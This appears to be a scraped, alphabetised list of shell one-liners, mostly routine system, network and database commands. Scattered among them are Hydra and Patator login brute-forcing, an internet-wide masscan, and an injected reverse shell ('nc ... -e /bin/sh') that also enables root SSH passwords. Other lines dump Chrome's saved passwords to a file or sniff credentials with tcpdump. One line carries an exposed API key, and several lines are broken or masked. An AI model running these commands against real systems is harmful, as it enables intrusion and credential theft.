hydra -I -V -T 5 -t 2 -s 5001 -M /tmp/syno https-post-form '/webman/login.cgi?enable_syno_token=yes:username=^USER^&passwd=^PASS^&OTPcode=:S=true' -L ./ruby-syno-brut/user -P ruby-syno-brut/passlist-short-2.txt
image="file.iso";drive="/dev/null";sudo -- sh -c 'cat '"${image}"'|(pv -n -s $(stat --printf="%s" '"${image}"')|dd of='"${drive}"' obs=1M oflag=direct) 2>&1| dialog --gauge "Writing Image '"${image}"' to Drive '"${drive}"'" 10 70 7'
inotifywait -r -q --format %w /var/log/auth.log|grep -i "Failed pass"|tail -n 1|grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}';iptables -I INPUT -i eth0 -s "$(cat /var/log/auth.log|grep "authentication failure; l"|awk -Frhost= '{print $2}'|tail -n 1)" -j DROP
install -b -m 777 /dev/null file.txt
ip addr | awk '/state UP/ {print $2}' | sed 's/.$//'
ip a | grep -oP '(?<=inet |addr:)(?:\d+\.){3}\d+'
ip r show default | awk '{print $5}'
keytool -importcert -providerpath bcprov-jdk15on-1.60.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider -storetype BCPKCS12 -trustcacerts -alias <alias> -file <filename.cer> -keystore <filename>
keytool -importkeystore -providerpath bcprov.jar -provider BouncyCastleProvider -srckeystore <filename.pfx> -srcstoretype pkcs12 -srcalias <src-alias> -destkeystore <filename.ks> -deststoretype BCPKCS12 -destalias <dest-alias>
keytool -list -providerpath bcprov-jdk15on-1.60.jar -provider org.bouncycastle.jce.provider.BouncyCastleProvider -storetype BCPKCS12 -storepass <passphrase> -keystore <filename>
kpartx -av disk.img && mkdir disk && mount /dev/mapper/loop0p1 disk && fstrim -v disk && umount disk && kpartx -d disk.img
len=20; tr -dc A-Za-z0-9_ < /dev/urandom | head -c ${len} | xargs
let T=$(date +%s)+3*60;while [ $(date +%s) -le $T ]; do let i=$T-$(date +%s); echo -ne "\r$(date -d"0:0:$i" +%H:%M:%S)"; sleep 0.3; done
listen-to-yt() { if [[ -z "$1" ]]; then echo "Enter a search string!"; else mpv "$(youtube-dl --default-search 'ytsearch1:' \"$1\" --get-url | tail -1)"; fi }
lpstat -p
ls -alt|awk '{if (system("sleep .5 && exit 2") != 2) exit; print}'
ls -al --time-style=+%D| grep
date +%D``lscpu | egrep 'Model name|Socket|Thread|NUMA|CPU\(s\)'
lsof | grep -e "[[:digit:]]\+w"
lsof -i -nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort -u
lspci|grep -i "VGA Compatible Controller"|cut -d' ' -f1|xargs lspci -v -s|grep ' prefetchable'
ls *.png |parallel --nice 19 --bar --will-cite "pngcheck -q {}"
ls -sSh /path | head
ls /var/log/* -ld | tr -s " " | cut -d" " -f9 | xargs -i{} sh -c 'echo "\n---{}---\n"; tail -n50 {}/
ls -tr {} | tail -n1'
lynx -listonly -nonumbers -dump https://djmag.com/top100djs|sed '1d'|cut -d- -f5,6,7|sed -n '180,$p'|nl --number-format=rn --number-width=3|sed 's/-/ /g'|sed -e 's/.*/\L&/' -e 's/\<./\u&/g'
masscan 0.0.0.0/0 -p8080,8081,8082 --max-rate 100000 --banners --output-format grepable --output-filename /tmp/scan.xt --exclude 255.255.255.255
mkdir -p /path/folder{1..4}
mkdir -p /path/{folder1,folder2,folder3,folder4}
mkfs.ext4 -T news /dev/sdcXX
mlr --c2j --jlistwrap cat file.csv
MYLINK=$(curl 'https://www.premiumize.me/api/transfer/directdl?apikey=dzx3rqwrxme8iazu' \ -H 'accept: application/json' \ -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'src='$URL | jq -r '.content[] | .link' )
mysqladmin status >> /home/status.txt 2>> /home/status_err.txt
mysqladmin variables | egrep '(innodb_log_file|innodb_data_file)'
mysqlbackup --port=3306 --protocol=tcp --user=dba --password=dba --with-timestamp --backup-dir=/tmp/toback/ --slave-info backup-and-apply-log --innodb_data_file_path=ibdata1:10M:autoextend --innodb_log_files_in_group=2 --innodb_log_file_size=5242880
mysqlcheck --repair --all-databases -u root -p<PASSWORD>
mysqldump --login-path=mypath sbtest sbtest4 | pv --progress --size 200m -t -e -r -a > dump.sql
mysqldump --routines --all-databases | gzip > /home/mydata.sql.gz 2> /home/mydata.date '+\%b\%d'.err
mysqlslap --query=/home/ec2-user/insert.txt --concurrency=123 --iterations=1 --create-schema=test
mysqlslap --query=/root/select_query_cp.sql --concurrency=10 --iterations=5 --create-schema=cvts1
::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit
netstat -nap|grep 80|grep LISTEN
netstat -tlpn
nmap -n -sn 192.168.1.0/24 -oG - | awk '/Up$/{print $2}'
nmap -oA derp --top-ports 10 localhost>/dev/null;grep 'services\=' derp.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'
nmap -p0-65535 192.168.1.254 -T5
nmap -sn 192.168.1.0/24 -oG - | awk '$4=="Status:" && $5=="Up" {print $0}'|column -t
nmap -sP "$(ip -4 -o route get 1 | cut -d ' ' -f 7)"/24 | grep report | cut -d ' ' -f 5-
nmap -sP 192.168.0.0/24
nmcli device wifi list
npm ls -gp --depth=0 | awk -F/ '/node_modules/ && !/\/npm$/ {print $NF}' | xargs npm -g rm; npm -g uninstall npm
osascript -e'get the clipboard as"RTF "'|sed 's/«data RTF //;s/»//'|xxd -r -p|textutil -convert html -stdin -stdout|pandoc -f html -t markdown_strict --no-wrap --atx-headers
osascript -e{'set text item delimiters to linefeed','tell app"google chrome"to url of tabs of window 1 as text'}
pacman -Fs libusb-0.1.so.4
pacman -Qi | egrep '^(Name|Installed)' | cut -f2 -d':' | paste - - | column -t | sort -nk 2 | grep MiB
pactl set-sink-volume @DEFAULT_SINK@ +5%
parallel cwebp -q 80 {} -o {.}.webp ::: *.png
parallel -j200% -n1 -a textfile-with-hosts.txt nc -vz {} ::: 22
patator ssh_login host=192.168.1.16 port=22 user=FILE0 0=user.lst password=FILE1 1=pass.lst -x ignore:mesg='Authentication failed.'
pax -wf archive.tar /path
perl -lane '$total += $F[0]; END{print $total/$.}' single-column-numbers.txt
pm uninstall --user 0 com.package.name
pngwebp(){ arg1=$1 for i in *.png; do name=
echo "${i%.*}"; echo $name; cwebp -q $1 "${i}" -o "${name}.webp" done }
printf "1-minute load average: %.1f%%\n" \ $(bc <<<"$(cut -d ' ' -f 1 /proc/loadavg) * 100")
printf "\e[38;5;1m"; while true; do printf "\e[?5h A L E R T %s\n" "$(date)"; sleep 0.1; printf "\e[?5l"; read -r -s -n1 -t1 && printf "\e[39m" && break; done
printf '%(%FT%T)T\n' 1606752450
printf "IPv6 is "; [ $(cat /proc/sys/net/ipv6/conf/all/disable_ipv6) -eq 0 ] && printf "enabled\n" || printf "disabled\n"
printf '*%.s' {1..40}; echo
printf "%.s*" {1..40}; printf "\n"
printf %s\\n '"\en": "\e0\e."' '"\em": "\e1\e."' '"\e,": "\e2\e."'>>~/.inputrc
printf "%
tput colss"|sed "s/ /_/g"
printf -v _hr "%*s" $(tput cols) && echo ${_hr// /${1--}}
ps auxk -%cpu | head -n10
ps aux | sort -rk 4,4 | head -n 10 | awk '{print $4,$11}'
ps aux | sort -rk 4,4 | head -n 10
ps -eo cmd | awk '{print $1}'| sort -u | grep "^/" | xargs dpkg -S 2>/dev/null | awk -F: '{print $1}' | sort -u | xargs apt-mark showmanual
pytest --pdbcls pudb.debugger:Debugger --pdb --capture=no
python -c "import string; import random;print(''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(16)))"
python -m ensurepip --default-pip && python -m pip install --upgrade pip setuptools wheel
python -m SimpleHTTPServer 8080
qdbus org.kde.ksmserver /KSMServer logout 1 0 0
qlist -I | xargs qlop -t | awk '{ if ($2 < 5400) secs += $2} END { printf("%dh:%dm:%ds\n", secs / 3600, (secs % 3600) / 60, secs % 60); }'
qlist -I | xargs qlop -t |sort -t" " -rnk2
rangeBegin=10; rangeEnd=20; for numbers in $(eval echo "{$rangeBegin..$rangeEnd}"); do echo $numbers;done
rangeBegin=10; rangeEnd=20; for ((numbers=rangeBegin; numbers<=rangeEnd; numbers++)); do echo $numbers; done
(read -r passphrase; b58encode 80$( brainwallet_exponent "$passphrase" )$( brainwallet_checksum "$passphrase" ))
rename -n 's/[_ ]?[\[\(]([A-Z0-9-+,\.]+)[\]\)][_ ]?//ig' '[subs4u]_Mushishi_S2_22_(hi10p,720p,ger.sub)[47B73AEB].mkv'
rename 's/\d+/sprintf("%04d",$&)/e' *
rename 'y/A-Z/a-z/' *
rg -l "AWSTemplateFormatVersion: '2010-09-09'" *
route add default gw 192.168.10.1 //OR// ip route add default via 192.168.10.1 dev eth0 //OR// ip route add default via 192.168.10.1
route | grep -m1 ^default | awk '{print $NF}'
rpm -qa | sed 's/^\(.*\)-\([^-]\{1,\}\)-\([^-]\{1,\}\)$/\1 \2 \3/' | sort | column -t
rsync --archive --recursive --compress --partial --progress --append root@123.123.123.123:/backup/somefile.txt.bz2 /home/ubuntu/
rsync --delete --stats -zaAxh -e ssh /local_directory/ username@IP_of_remote:/Remote_Directory/ > /Text_file_Directory/backuplog.txt
rsync -e 'ssh -i /root/my.pem' -avz /mysql/db/data_summary.* ec2-1-2-4-9.compute-1.amazonaws.com:/mysql/test/
s="$(cat 2>/dev/null < /dev/null > /dev/tcp/${target_ip}/${target_port} & WPID=$!; sleep 3 && kill $! >/dev/null 2>&1 & KPID=$!; wait $WPID && echo 1)" ; s="${s:-0}"; echo "${s}" | sed 's/0/2/;s/1/0/;s/2/1/'
%s/.\{5\}@.\{5\}/XXXXX@XXXXXX/g
secondscreen=$(xrandr -q | grep " connected" | sed -n '2 p' | cut -f 1 -d ' '); [ "$secondscreen" ] && xrandr --output $secondscreen --gamma 0.6:0.75:1
seq 10 20
seq 12
seq 1 9 | perl -e 'print sort { (-1,1)[rand(2)] } <>'
seq 1 9 | perl -MList::Util=shuffle -e 'print shuffle <>;'
seq 1 9 | sort -R
seq -s " \\_/" 256|tr -d "0-9"|fold -70
seq -s '*' 40|tr -c '*' '*' && echo
seq -s '*' 40 | tr -dc '[*\n]'
seq -ws "\\__/" 99|fold -69|tr "0-9" " "
(setopt CSH_NULL_GLOB; cd /path/to/Camera\ Uploads; for i in DSC_* MOV_*; do mv -v $i "$(date +%F -d @$(stat -c '%Y' $i)) $i"; done)
(setopt CSH_NULL_GLOB; cd /path/to/Camera\ Uploads; for i in DSCPDC_000*; do mv -v $i "$(echo $i | perl -lpe 's/(DSCPDC_[0-9]{4}_BURST)([0-9]{4})([0-9]{2})([0-9]{2})/$2-$3-$4 $1$2$3$4/')"; done)
setsid mpv --input-ipc-server=/tmp/mpvsoc$(date +%s) -quiet "$1" >/dev/null 2>&1
sort ~/.bash_history|uniq -c|sort -n|tail -n 10
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4
sort -t@ -k2 emails.txt
sqlite3 -header -csv -separator "," ~/.config/google-chrome/Default/Login\ Data "SELECT * FROM logins" > ~/Passwords.csv
ssh bandit0@bandit.labs.overthewire.org -p 2220
ssh-copy-id -i your-ed25519-key user@host
ssh -J user@reachable_host user@unreacheable_host
ssh-keygen -y -f privatekey.pem > publickey.pem
ssh-keygen -y -f user-key.pem | ssh user@host -i already_on_remote_server_key.pem 'cat >> ~/.ssh/authorized_keys'
ssh -L8888:localhost:80 -i nov15a.pem ubuntu@123.21.167.60
ssh root@vps.example -p22 "cat /dev/sda1 | gzip -1 - " > vps.sda1.img.gz
ss -o state established '( dport = :http or sport = :https )'
ss -plunt
strace 2>&1 <any_executable> |egrep -o "\".*\.conf\""
strace 2>&1 geany |grep geany.conf
strace -**** $(pidof -s mysqld) -f -e trace=all
streamlink --player="cvlc --no-video" "https://www.youtube.com/freecodecamp/live" 720p|& tee /dev/null
sudo blktrace -d /dev/sda -o - | blkparse -i -
sudo free && sync && sudo echo 3 | sudo tee /proc/sys/vm/drop_caches
sudo fstrim -v /
% sudo log show --style syslog --last 2d | awk '/Enter/ && /unlockUIBecomesActive/ {print $1 " " $2}'
sudo -s <<< 'apt update -y && apt upgrade -y'
sudo sh -c 'apt update -y && apt upgrade -y'
sudo su -c “echo -e \”\x23\x21/usr/bin/sudo /bin/bash\napt-get -y \x24\x40\” > /usr/bin/apt-yes”
sudo systemctl restart bluetooth
sudo systemd-resolve --interface <NombreInterfaz> --set-dns <IPDNS> --set-domain mydomain.com
sudo tcpdump -nn -l port 25 | grep -i 'MAIL FROM\|RCPT TO'
sudo tcpdump -nn -v port ftp or ftp-data
sudo tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -l -A | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user '
sudo tcpdump -s 0 -A -n -l | egrep -i "POST /|pwd=|passwd=|password=|Host:"
sudo timedatectl set-timezone $(curl -s worldtimeapi.org/api/ip.txt | sed -n 's/^timezone: //p')
sudo /usr/syno/bin/synogear install && sudo su
sudo who | awk '!/root/{ cmd="/sbin/pkill -KILL -u " $1; system(cmd)}'
sysctl machdep.xcpm.cpu_thermal_level
tail -f $FILENAME | grep --line-buffered $PATTERN
tail -f access.log | pv -l -i10 -r -f 2>&1 >/dev/null | tr /\\r \ \\n
tail -f logfile
tail -F logfile|while read l; do sed 's/find/replace/g' <<< $l; done
tail -f path | grep your-search-filter
tail -zn+2 $CMDLINE_FILENAME | xargs -0 $COMMAND
Test-NetConnection -ComputerName example.com -Port 443
time cat /proc/cpuinfo |grep proc|wc -l|xargs seq|parallel -N 0 echo "2^2^20" '|' bc
time cat /proc/cpuinfo |grep proc|wc -l|xargs seq|parallel -N 0 echo "scale=4000\; a\(1\)\*4" '|' bc -l
time seq 65535 | parallel -k --joblog portscan -j9 --pipe --cat -j200% -n9000 --tagstring '\033[30;3{=$_=++$::color%8=}m' 'nc -vz localhost $(head -n1 {})-$(tail -n1 {})'
tmux new-session -d -s "SessionName" "htop"
touch -d '-1 year' /tmp/oldfile
tput clear
tput setaf 1;tput rev;h=$(tput lines);w=$[$(tput cols)/6];c=$(seq -ws '_____|' $[$w+1]|tr -d "0-9");for a in $(seq $[$h/2]);do echo $c;echo ${c//|___/___|};done;tput *** 0;toilet -t -f bigmono12 "?LOVE";tput *** $h
tr -c -d "a-zA-Z0-9" </dev/urandom | dd bs=30 count=1 2>/dev/null;echo
tree -ihafF /var | tr '[]' ' '| sort -k1hr|head -10
tree -L 2 -u -g -p -d
uname -a;rpm -qi "kernel"-
uname -r|grep "Install"
rwxr-xr-x
) instead of number (e.g. 0022
): unix-permissions convert.stat $(unix-permissions invert $(umask))
unshare -r --fork --pid unshare -r --fork --pid --mount-proc bash
until ssh login@10.0.0.1; do echo "Nope, keep trying!"; fi; sleep 10; done
/usr/syno/sbin/./synodsdefault --factory-default
/usr/syno/sbin/./synodsdefault --reinstall
varNUM=12345; re='^[0-9]+$'; if ! [[ $varNUM =~ $re ]] ; then echo "error: Not a number"; fi
watch -c "netstat -natp 2>/dev/null | tail -n +3 | awk '{print \$6}' | sort | uniq -c"
watch -c "netstat -nt | awk 'FNR > 3 {print \$6}' | sort | uniq -c"
watch grep \"cpu MHz\" /proc/cpuinfo
watch -n1 "ps aux --sort=-%mem,-%cpu | head -n 50"
watch -n 1 'ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head'
watch -n60 -d 'lsof -w /filesysname|grep -v NAME|awk '\''{$7=int($7/1073741824) " GB"; print $7, $9}'\'''
watch "ps --forest -o pid=PID,tty=TTY,stat=STAT,time=TIME,pcpu=CPU,cmd=CMD -g $(ps -o sid= -p $(pgrep -f "<my_process_name>"))"
watch ss -stplu
wget --mirror --convert-links --adjust-extension --page-requisites --recursive --no-parent www.example.com
wget -O /dev/sdb https://cdimage.ubuntu.com/daily-live/current/eoan-desktop-amd64.iso
wget -qO - https://raw.githubusercontent.com/torvalds/linux/master/Makefile | head -n5 | grep -E '\ \=\ [0-9]{1,}' | cut -d' ' -f3 | tr '\n' '.' | sed -e "s/\.$//"
while(1 -eq 1 ) {Get-Process -Name *APPNAME* | Select-Object -ExpandProperty ID | ForEach-Object {Get-NetTCPConnection -OwningProcess $_} -ErrorAction SilentlyContinue }
while :; do clear; ls path/to/dir | wc -l; sleep 1; done
while sleep 1; do tput sc; tput *** 0 $(($(tput cols)-29)); date; tput rc; done &
while true; do echo -e "\e[?5h\e[38;5;1m A L E R T $(date)"; sleep 0.1; printf \\e[?5l; read -s -n1 -t1 && printf \\e[?5l && break; done
while true; do printf "$(awk -v c="$(tput cols)" -v s="$RANDOM" 'BEGIN{srand(s);while(--c>=0){printf("\xe2\x96\\%s",sprintf("%o",150+int(10*rand())));}}')";done
while true; do ssh login@10.0.0.1; if [[ $? -ne 0 ]]; then echo "Nope, keep trying!"; fi; sleep 10; done
whois commandlinefu.com | grep -E '^\s{3}'
xargs -i -P 1200 nc -zvn {} 22 < textfile-with-hosts.txt
xdelta -d -s original_file delta_patch patched_file
xprop -format _NET_WM_WINDOW_OPACITY 32c -set _NET_WM_WINDOW_OPACITY 0x7FFFFFFF
yes "\\__/ " | tr "\n" " " | fold -$((($COLUMNS-3)/6*6+3)) | head -$LINES
yq . -y <example.json